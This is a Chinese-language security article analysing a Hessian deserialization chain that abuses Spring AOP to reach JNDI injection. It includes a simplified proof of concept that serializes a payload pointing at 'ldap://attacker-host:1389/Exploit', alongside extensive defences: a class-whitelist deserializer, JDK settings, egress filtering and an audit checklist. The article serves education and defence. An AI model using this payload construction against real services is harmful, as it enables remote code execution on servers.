
1. 项目概述从一次内部安全审计说起去年年底我们团队在对一个遗留的老系统进行例行安全审计时发现了一个非常典型的“组合拳”漏洞利用链。这个系统对外提供了一个基于Hessian协议的RPC接口用于内部微服务间的通信。在代码审计中我们注意到一处Spring AOP的切面实现存在隐患结合系统依赖的老版本库理论上存在被反序列化攻击并最终触发JNDI注入的风险。虽然最终因为环境配置等原因实际利用条件较为苛刻但整个攻击链的构造逻辑非常精妙完美串联了Hessian反序列化、Spring AOP的动态代理机制以及JNDI注入这几个Java安全领域的经典知识点。今天我就把这个案例拆开揉碎了和大家一起深入剖析这条“Hessian反序列化攻击Spring AOP的JNDI注入链”。无论你是做安全研究、开发还是架构理解这条链背后的原理对于编写更安全的代码和构建更稳固的系统都大有裨益。简单来说这条攻击链的核心是攻击者通过精心构造的Hessian序列化数据在反序列化过程中利用Spring AOP为Bean创建的代理对象特别是基于CGLIB的代理内部的一些特性触发对特定类的查找或实例化进而跳转到恶意的JNDI服务地址加载并执行远程的恶意代码。这听起来有点绕别急我们一步步来。理解它你需要对Hessian协议、Java反序列化漏洞原理、Spring AOP的实现机制以及JNDI注入的本质都有所了解。下面我们就先来拆解一下这几个核心组件和它们在这个链中的角色。1.1 核心组件角色解析要理解整条攻击链我们必须先弄清楚四个关键角色Hessian、反序列化漏洞、Spring AOP和JNDI注入。它们就像四个齿轮单独看可能无害但以特定方式咬合在一起就能产生巨大的破坏力。Hessian协议这是一个由Caucho公司设计的轻量级二进制RPC协议。相比于XML-RPC或SOAP它更高效序列化后的数据体积小传输快因此在很多Java系的微服务架构中被用作服务间通信的协议。Hessian有自己的序列化/反序列化机制它并非直接使用Java原生的ObjectInputStream/ObjectOutputStream而是实现了一套自己的Hessian2Input/Hessian2Output。但是这并不意味着它就更安全。Hessian在反序列化时会根据二进制流中的类型描述信息通过类加载器去查找并实例化对应的类。关键点在于如果Hessian反序列化器能够被引导去加载一个攻击者可控的、具有危险行为的类那么危险就产生了。很多开发者误以为用了Hessian就避开了Java原生反序列化漏洞这是一个常见的误区。反序列化漏洞的本质其核心是“不可信数据的代码执行”。当程序反序列化一个来自外部、未经充分验证的对象时如果该对象的类路径中包含某些特殊方法如readObject、readResolve、toString、hashCode、equals等在反序列化过程中或之后被自动调用就可能成为执行的“跳板”。攻击者会寻找一系列这样的“跳板类”通常称为Gadget Chain将它们像多米诺骨牌一样串联起来最终达到执行任意代码的目的。在Hessian的语境下我们需要寻找的是Hessian反序列化过程中会被调用的特殊方法以及能够被Hessian序列化/反序列化的类。Spring AOP面向切面编程这是Spring框架的核心功能之一用于解耦横切关注点如日志、事务、安全等。Spring AOP主要通过动态代理来实现。对于实现了接口的Bean默认使用JDK动态代理对于没有实现接口的类则使用CGLIB库生成子类代理。本攻击链的一个关键依赖点就在CGLIB代理上。CGLIB代理会生成目标类的子类并重写其非final方法。在生成代理类的过程中以及代理类实例化的过程中会涉及到一些回调机制和内部工具类的使用如BeanFactoryAware、Advised接口的处理以及一些为了支持AOP功能而引入的辅助类。攻击链正是利用了这些机制中的某些环节。JNDI注入Java命名和目录接口它提供了一个统一的API来访问各种命名和目录服务如LDAP、RMI、DNS等。JNDI注入漏洞在近年来因Log4j2事件而广为人知。其原理是当JNDI的lookup()方法参数被攻击者控制时客户端会去访问攻击者搭建的恶意JNDI服务如恶意的RMI或LDAP服务器并加载服务器返回的Reference对象所指向的远程Class文件从而实例化并执行恶意代码。在Java 8u191、7u201、6u211等版本之后默认限制了从远程地址加载工厂类但仍有不少绕过手段和特定场景下的利用可能。在这条链中JNDI注入是攻击的最终目标即通过前序的Hessian反序列化和Spring AOP代理机制触发一个可控的JNDIlookup操作。把这四个角色串起来攻击思路就清晰了构造一个Hessian序列化数据包 - 该数据包在反序列化时会实例化一个与Spring AOP CGLIB代理相关的特殊对象 - 该对象的某个方法或属性在初始化/调用时会触发JNDI查找 - JNDI查找指向攻击者控制的恶意服务器 - 加载并执行远程恶意类。接下来我们就深入技术细节看看这条链是如何被一步步构造出来的。2. 攻击链深度技术剖析要手工复现或理解这条链我们需要像侦探一样从终点JNDI注入倒推找到一条能够通往前端入口Hessian反序列化的可行路径。这条路径依赖于一系列特定版本的库和特定的Spring配置。我们假设一个典型的风险环境Spring Framework 4.x / 5.x使用CGLIB代理项目中引入了spring-aop,spring-context等模块同时使用了Hessian 4.x作为RPC协议并且JNDI相关配置未被严格限制或Java版本较低。2.1 起点Hessian反序列化的利用入口Hessian的反序列化过程由Hessian2Input.readObject()方法驱动。它并不是盲目调用类的readObject方法而是有一套自己的类型映射和对象创建逻辑。然而它同样会调用对象的setter方法对应readObject时的字段赋值以及一些特定的“序列化代理”方法。寻找Hessian可利用的Gadget我们通常关注以下几类实现了java.io.Serializable或com.caucho.hessian.io.Serializable接口的类这是Hessian能处理的基本要求。具有公开的、接受复杂参数的setter方法Hessian在反序列化填充属性时会调用这些setter。如果setter方法内部调用了危险函数如JdbcTemplate.execute、Runtime.exec或者更通用的Method.invoke就可能被利用。在readResolve、writeReplace等方法中做文章虽然Hessian不直接依赖Java原生的readObject但某些类如果实现了readResolve在Hessian反序列化的最后阶段该方法仍有可能被调用。利用Hessian自身的序列化机制特性例如Hessian对于某些特殊类型如Map、List、动态代理对象的处理可能存在逻辑漏洞。在实际的漏洞利用库中如marshalsec已经包含了一些针对Hessian的Gadget链例如基于SpringAbstractBeanFactoryPointcutAdvisor和SpringBeanFactory的链。这些链的核心思路是在反序列化时通过setter方法将一个恶意的BeanFactory对象注入到Spring的相关类中后续当Spring容器或AOP机制尝试从这个BeanFactory获取Bean时就会触发恶意逻辑。注意直接使用公开的Gadget链攻击生产环境是极不道德且违法的行为。此处分析仅供安全研究与防御参考。在实际审计中我们的重点是识别自己系统中是否存在构成类似链的“危险类”和“危险调用”。在我们的目标链中入口点通常是一个可以被Hessian序列化/反序列化并且其属性可以被控制为某个Spring AOP相关类的对象。这个对象本身可能并不危险但它像一把钥匙能打开通往Spring AOP内部机制的大门。2.2 桥梁Spring AOP CGLIB代理的“脆弱点”Spring AOP使用CGLIB创建代理时会生成一个目标类的子类。这个子类会重写所有非final的public/protected方法并在方法中织入切面逻辑。在这个过程中有几个值得关注的“脆弱点”Advised接口Spring的AOP代理无论是JDK还是CGLIB都会实现Advised接口。这个接口提供了操作代理通知Advice的方法。某些操作通知的方法可能会触发对类加载器或Bean工厂的调用。TargetSource目标源AOP代理并不直接持有原始目标对象而是通过一个TargetSource来获取它。有几种特殊的TargetSource例如PrototypeTargetSource每次调用都返回新的原型实例或LazyInitTargetSource延迟初始化目标。这些TargetSource在获取目标对象时可能会与BeanFactory交互。CGLIB回调过滤器与方法拦截器CGLIB允许设置CallbackFilter来决定对不同的方法使用不同的Callback如MethodInterceptor。Spring AOP使用复杂的回调机制来整合各种通知。如果攻击者能控制回调逻辑就可能插入恶意代码。与BeanFactory的交互这是最关键的环节。许多Spring AOP的内部类如BeanFactoryAware的实现类持有一个BeanFactory引用。当这些类被反序列化出来并且其BeanFactory属性被设置为一个攻击者控制的、恶意的BeanFactory实现时危险就产生了。这个恶意的BeanFactory可以在其getBean等方法被调用时执行任意操作比如触发JNDI查找。一个经典的利用模式是找到一个实现了BeanFactoryAware、Serializable并且在某些方法如toString、hashCode、equals或者某些AOP生命周期方法中调用了beanFactory.getBean()的类。攻击者通过Hessian反序列化创建这个类的实例并将一个恶意的BeanFactory对象通过setter注入进去。当后续某个操作可能是反序列化流程本身也可能是服务器端后续对反序列化对象的处理触发了这个危险方法时恶意的getBean()就被调用。在我们的案例中审计发现的一个潜在风险点是AbstractBeanFactoryPointcutAdvisor类及其子类。它是一个Advisor内部可以持有一个Advice通知和一个Pointcut切点。在某些版本的Spring中它的序列化/反序列化行为以及它与BeanFactory的交互方式可能被用来传递一个恶意的Advice对象。这个Advice对象在其初始化或执行时可能包含JNDI查找逻辑。2.3 终点JNDI注入的触发最终我们需要将控制流引导至javax.naming.InitialContext.lookup(String name)。在Spring的上下文中哪里会隐藏这样的调用呢通过JndiObjectFactoryBean这是Spring提供的一个FactoryBean用于从JNDI获取对象。它的getObject()方法会执行lookup。如果攻击者能控制一个JndiObjectFactoryBean实例的jndiName属性并能让Spring容器或一个受控的BeanFactory去获取getBean这个FactoryBean那么JNDI查找就会被触发。通过SimpleJndiBeanFactory这是一个实现了BeanFactory接口的类它专门从JNDI环境中获取Bean。其getBean方法内部会调用JNDIlookup。通过自定义的BeanFactory实现攻击者可以完全控制一个恶意的BeanFactory实现类在其getBean、getType等方法中直接写入JNDIlookup代码。只要这个恶意BeanFactory被注入到某个Spring AOP组件中并被调用就能触发。因此完整的攻击链可以构想为Hessian反序列化 - 实例化一个Spring AOP相关类ClassA (实现了BeanFactoryAware) - 通过setter将属性beanFactory设置为一个恶意BeanFactory实例MaliciousBeanFactory - 在ClassA的某个方法methodX中该方法可能在反序列化后自动调用如readResolve或由服务器逻辑触发调用了this.beanFactory.getBean(someName) - MaliciousBeanFactory.getBean(someName)被调用 - 在该方法内部执行new InitialContext().lookup(ldap://attacker.com/Exploit) - 客户端向恶意LDAP服务器发起请求加载并实例化远程恶意类Exploit - Exploit的静态代码块或构造方法中的恶意代码被执行。这条链的难点在于找到那个合适的ClassA以及确保methodX能在反序列化后的恰当时机被调用。这需要对Spring AOP和Hessian的源码有深入的理解。接下来我们通过一个高度简化的模拟场景来演示核心环节的构造。3. 模拟场景与核心环节实现为了清晰地展示原理我们构建一个极度简化的模拟环境。请注意这是一个用于教育目的的PoC概念证明模型省略了大量健壮性检查和真实链的复杂依赖真实环境中的利用链要复杂得多。假设我们有一个简单的Spring Service类和一个切面// 一个简单的服务 Service public class MyService { public String sayHello(String name) { return Hello, name; } } // 一个记录日志的切面 Aspect Component public class LoggingAspect { Before(execution(* com.example.demo.MyService.*(..))) public void logBefore(JoinPoint joinPoint) { System.out.println(Before method: joinPoint.getSignature().getName()); } }配置中我们强制对MyService使用CGLIB代理例如通过EnableAspectJAutoProxy(proxyTargetClass true)。现在假设存在一个虚构的、具有风险的Spring内部类VulnerableAdvisor现实中可能是某个特定版本中的真实类// 假设的脆弱类 - 现实中请勿对号入座 public class VulnerableAdvisor implements BeanFactoryAware, Serializable { private BeanFactory beanFactory; private String jndiName; // 危险属性 Override public void setBeanFactory(BeanFactory beanFactory) throws BeansException { this.beanFactory beanFactory; } public void setJndiName(String jndiName) { this.jndiName jndiName; } // 假设这个方法在对象反序列化后被Spring的某个生命周期机制自动调用 private Object readResolve() throws ObjectStreamException { // 危险操作在resolve时使用beanFactory进行JNDI查找 if (beanFactory ! null jndiName ! null) { // 这里模拟一个危险行为通过BeanFactory获取一个JNDI对象 // 真实链中可能是beanFactory.getBean(jndiName)触发了JNDI查找 JndiObjectFactoryBean factoryBean new JndiObjectFactoryBean(); factoryBean.setJndiName(jndiName); factoryBean.setBeanFactory(beanFactory); // 这里需要BeanFactory来解析占位符等可能触发初始化 try { factoryBean.afterPropertiesSet(); // 这个方法内部会调用InitialContext.lookup(jndiName)! } catch (Exception e) { // ignore } } return this; } }攻击者的目标是构造一个Hessian序列化流其中包含一个VulnerableAdvisor实例并且其beanFactory和jndiName属性都被设置为攻击者控制的值。步骤1准备恶意BeanFactory攻击者需要创建一个实现了BeanFactory接口的恶意类。这个类不需要实现所有方法只需要覆盖关键的getBean等方法用于触发后续逻辑。在真实攻击中攻击者可能会序列化一个SimpleJndiBeanFactory的实例并设置其jndiName等属性。为了简化我们假设攻击者直接使用一个可以触发JNDI查找的现有BeanFactory实现或者通过更复杂的Gadget来间接设置。步骤2构造恶意序列化对象使用Hessian序列化库攻击者编写代码构造攻击负载// 攻击者端代码 - 构造恶意Hessian数据 VulnerableAdvisor maliciousAdvisor new VulnerableAdvisor(); // 注入恶意的BeanFactory这里用null代替具体构造过程实际非常复杂 maliciousAdvisor.setBeanFactory(constructMaliciousBeanFactory()); // 设置指向攻击者控制的LDAP/RMI服务器的JNDI名称 maliciousAdvisor.setJndiName(ldap://attacker-host:1389/Exploit); // 将恶意对象序列化为Hessian二进制流 ByteArrayOutputStream bos new ByteArrayOutputStream(); Hessian2Output output new Hessian2Output(bos); output.writeObject(maliciousAdvisor); output.close(); byte[] maliciousHessianData bos.toByteArray();步骤3发送攻击载荷攻击者将maliciousHessianData通过HTTP POST等方式发送到目标服务器的Hessian RPC接口端点。步骤4目标服务器反序列化触发漏洞服务器端收到数据调用Hessian反序列化// 服务器端简化处理逻辑 Hessian2Input input new Hessian2Input(new ByteArrayInputStream(maliciousHessianData)); Object obj input.readObject(); // 这里触发了反序列化 input.close(); // 反序列化过程中VulnerableAdvisor的setBeanFactory和setJndiName被调用。 // 反序列化完成后Java的序列化机制会尝试调用对象的readResolve方法如果存在。 // 在readResolve中factoryBean.afterPropertiesSet()被调用。 // afterPropertiesSet()内部执行new InitialContext().lookup(ldap://attacker-host:1389/Exploit)步骤5JNDI注入完成目标服务器向attacker-host:1389发起LDAP查询。攻击者搭建的恶意LDAP服务器返回一个Reference对象指向一个远程的HTTP服务器上的恶意类文件Exploit.class。目标服务器的JNDI实现会去加载这个类并实例化导致Exploit类的静态代码块或构造方法中的恶意代码如Runtime.getRuntime().exec(calc)被执行。实操心得在真实漏洞挖掘中难点往往不在于最终执行命令而在于如何稳定、可靠地串联起整个调用链。你需要深入阅读Hessian和Spring AOP相关类的源码特别是它们的readObject对于Java原生序列化、setter方法、readResolve、hashCode、equals、toString等“隐式调用”方法。工具如ysoserial、marshalsec及其源码是极佳的学习材料但切记仅用于安全研究和授权测试。4. 漏洞防御与安全实践理解了攻击原理防御就有了方向。防御需要从攻击链的每一个环节进行阻断。4.1 加固Hessian反序列化入口输入验证与白名单这是最有效的一层防御。对于Hessian服务端不要直接反序列化不可信的二进制流。可以实现一个自定义的SerializerFactory并重写getDeserializer方法对反序列化的类进行严格的白名单过滤。public class SafeHessianSerializerFactory extends SerializerFactory { private static final SetString ALLOWED_CLASSES new HashSet(Arrays.asList( com.yourapp.dto.*, java.lang.String, java.util.HashMap, // ... 明确列出所有允许的类 )); Override public Deserializer getDeserializer(Class cl) throws HessianProtocolException { String className cl.getName(); for (String allowed : ALLOWED_CLASSES) { if (allowed.endsWith(.*)) { if (className.startsWith(allowed.substring(0, allowed.length() - 2))) { return super.getDeserializer(cl); } } else if (className.equals(allowed)) { return super.getDeserializer(cl); } } throw new HessianProtocolException(Unauthorized deserialization attempt for class: className); } } // 在服务端配置使用这个安全的Factory HessianServiceExporter exporter new HessianServiceExporter(); exporter.setSerializerFactory(new SafeHessianSerializerFactory());升级Hessian库关注Caucho官方安全更新及时升级到最新稳定版本。虽然不能完全杜绝反序列化问题但新版本通常会修复已知的危险Gadget类。使用Hessian的“简短类型名”模式配置Hessian使用简短类型名short type names并在服务端限制可解析的类型前缀。但这并非绝对安全需结合其他措施。4.2 审视Spring AOP与依赖库安全升级Spring框架保持Spring框架及其所有依赖如CGLIB, ASM为最新版本。Spring团队会修复已知的安全漏洞包括潜在的序列化相关问题。谨慎使用CGLIB代理评估是否所有Bean都需要proxyTargetClasstrue。对于有接口的Bean优先使用JDK动态代理其代理机制相对简单潜在的攻击面可能更小。审计自定义Advisor和Advice检查项目中所有自定义的Advisor、Advice、TargetSource等AOP组件确保它们没有不必要的BeanFactoryAware依赖或者对传入的BeanFactory进行了安全校验。控制BeanFactory的暴露避免将内部的BeanFactory或ApplicationContext直接暴露给不可信的反序列化对象。在自定义组件中如果实现了BeanFactoryAware要思考这个BeanFactory是否可能被恶意对象获取并利用。4.3 阻断JNDI注入终点升级JRE/JDK这是最根本的解决方案。将运行环境升级到Java 8u191、7u201、6u211及以上版本这些版本默认禁用了JNDI远程类加载com.sun.jndi.ldap.object.trustURLCodebase默认为false。设置系统属性如果无法升级JDK可以设置以下系统属性来缓解-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse但请注意在高版本Java中仍有其他绕过方式如利用本地ClassPath中的类因此升级是首选。代码层面限制避免在代码中编写使用外部可控字符串作为参数的InitialContext.lookup()。如果必须使用JNDI应对输入进行严格的校验和过滤。网络层面隔离在防火墙策略上限制应用服务器对外部网络特别是非常用端口如1389、1099等的出站连接。这样即使触发了JNDI查找也无法连接到攻击者的恶意服务器。4.4 整体安全架构建议纵深防御不要依赖单一防线。结合网络防火墙、WAFWeb应用防火墙、RASP运行时应用自我保护以及代码层面的安全编码构建多层次防御体系。最小化依赖定期使用mvn dependency:tree或gradle dependencies检查项目依赖移除不必要的库。特别是那些包含已知反序列化Gadget的库如commons-collections,commons-beanutils等的老版本。可以使用OWASP Dependency-Check等工具进行扫描。安全编码培训让开发团队了解反序列化漏洞、JNDI注入等常见安全风险在代码审查中重点关注这些风险点。威胁建模与定期审计对重要的、对外提供接口的服务尤其是二进制协议接口进行威胁建模并定期进行安全代码审计和渗透测试。5. 排查技巧与实战问题记录在真实的安全审计或应急响应中如何判断系统是否存在此类风险以下是一些排查思路和可能遇到的问题。排查清单入口点识别项目是否使用了Hessian、Dubbo Hessian、或者任何基于Hessian协议的RPC框架对应的服务端点URL是否对外网开放是否缺乏认证鉴权检查Hessian服务的配置是否使用了默认的SerializerFactory依赖库扫描pom.xml或build.gradle中hessian的版本是否过低如低于4.0.60查看其安全公告。spring-aop,spring-context的版本是否包含已知漏洞是否存在commons-collections(3.x 3.2.2, 4.x 4.1)、commons-beanutils等常见危险库的老版本代码审计重点搜索实现了BeanFactoryAware,ApplicationContextAware,InitializingBean,DisposableBean等接口的类检查其setBeanFactory等方法是否对传入的工厂做了安全假设。检查所有自定义的Advisor、Advice、Pointcut是否实现了Serializable如果实现为什么是否必要全局搜索InitialContext.lookup、NamingManager.getObjectInstance等JNDI相关调用检查参数是否用户可控。常见问题与误区Q我们用了Spring Boot并且Hessian接口只在内网是不是就安全了A不完全。内网环境降低了外部攻击的可能性但无法防御内部威胁或已突破边界攻击者的横向移动。此外如果反序列化漏洞被触发攻击者可能直接在应用服务器上执行代码危害极大。内网服务同样需要安全加固。Q我们已经升级了JDK到8u201以上是不是JNDI注入就没法利用了A风险降低但非绝对。高版本Java默认限制了远程类加载但攻击者仍然可以尝试利用目标应用ClassPath中已有的类来构造利用链如利用Tomcat ELProcessor、Groovy等这需要更复杂的条件但并非不可能。因此阻断前期的反序列化入口更为关键。Q使用了白名单过滤后服务报“Unauthorized deserialization attempt”错误如何调试A首先确认客户端发送的序列化对象类型是否都在白名单内。Hessian在序列化时对于复杂对象可能会写入其内部类或依赖类。需要将所有这些可能出现的类都加入白名单。调试时可以暂时将过滤器的异常信息详细打印出来记录下被拒绝的完整类名然后评估是否将其加入白名单。切记白名单的原则是“最小化”只加入业务确实需要的类。Q如何测试自己的Hessian服务是否安全A在授权的前提下可以尝试使用安全测试工具。例如可以使用marshalsec项目启动一个恶意的Hessian服务端然后让你的客户端去连接观察是否会触发预期的反序列化行为如DNS查询、延迟等。绝对不要对未经授权的系统进行测试。一次真实的排查记录在一次排查中我们发现一个老系统使用了Hessian 3.x。通过代码审计发现其自定义了一个AuthenticationAdvice实现了MethodInterceptor和Serializable并且持有一个UserService的引用该引用通过BeanFactory注入。虽然这个UserService本身是安全的但整个结构符合“可序列化的AOP组件持有BeanFactory引用”的模式。我们立即评估了风险如果Hessian存在反序列化漏洞攻击者能否构造一个恶意的BeanFactory替换掉这里的UserService经过分析由于该Advice只在方法被调用时才使用UserService而反序列化后如果没有后续的Spring上下文将其纳入AOP链并触发方法调用这个BeanFactory不会被使用因此实际风险较低。但为了彻底消除隐患我们做了两件事1. 升级Hessian到最新安全版本2. 重构该Advice改为通过方法参数传递所需服务而不是持有引用。这个案例说明安全审计需要结合代码逻辑和运行时上下文进行综合判断。安全是一个持续的过程而非一劳永逸的状态。对于这类深层次的、由多个组件交互产生的漏洞链最好的防御是保持所有组件的更新、遵循安全编码规范、并进行深度的防御性设计。希望这篇深入的分析能帮助你更好地理解Hessian反序列化、Spring AOP和JNDI注入这些技术点背后的安全逻辑并在你的系统中构建起更坚固的防线。